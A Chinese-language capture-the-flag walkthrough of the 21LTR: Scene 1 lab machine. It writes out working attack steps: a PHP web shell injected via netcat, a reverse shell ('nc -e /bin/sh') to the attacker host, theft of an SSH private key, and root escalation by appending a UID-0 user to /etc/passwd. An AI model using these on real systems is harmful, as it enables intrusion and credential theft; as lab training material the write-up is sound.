Hack the 21LTR: Scene 1 靶机

扫描IP地址

我们的目标是 192.168.2.120 现在使用 nmap 扫描目标：

nmap 192.168.2.120

可以看到 HTTP 服务在 3个端口上运行，即端口21, 22,80

访问192.168.2.120

发现扫描都没有，右键查看源代码，获得了一些登录凭据。

发现一组账号密码logs zg]E-b0]+8:(58G

尝试ssh连接，发现连接失败

再尝试ftp连接，发现连接成功

ls，发现一个backup_log.php文件

将文件下载到我们的本地系统后，我们使用 cat 命令在kali中打开该文件

get backup_log.php
cat backup_log.php

在网站路径上拼接/logs/，发现访问被拒绝

试着在其后面拼接/backup_log.php看是否有信息

在端口 10001 上启动了一个 netcat 会话，我们得到了一个空白的 shell

nc -nv 192.168.2.120 10001
<?php system($_GET['cmd']) ?>

拼接?cmd=id，尝试运行 id命令，发现得到回复。这证明我们可以从这里运行命令。

反弹shell

设置监听

nc -e /bin/sh 192.168.2.128 5555

反弹成功

建立交互式的shell：

python -c 'import pty; pty.spawn("/bin/sh")'

提权

cd /media/USB_1/Stuff/Keys
ls
cat authorized_keys    #发现是hbeale用户

查看密钥文件

cat id_rsa

查看/etc/passwd文件验证，发现确实存在hbeale用户：

cat /etc/passwd

尝试用密钥文件登录：

ssh -i id_rsa hbeale@192.168.2.120

登陆成功

但是是低权限用户

利用不安全配置/etc/passwd可写进行提权：

创建root权限的新用户和密码，将自动生成的hash值加入/etc/passwd

echo 'newuser:$1$dY7ecSy3$DuiqIJfj/66qr4GMayq1O/:0:0:root:/root:/bin/bash' >> /etc/passwd

su切换newuser用户

提权成功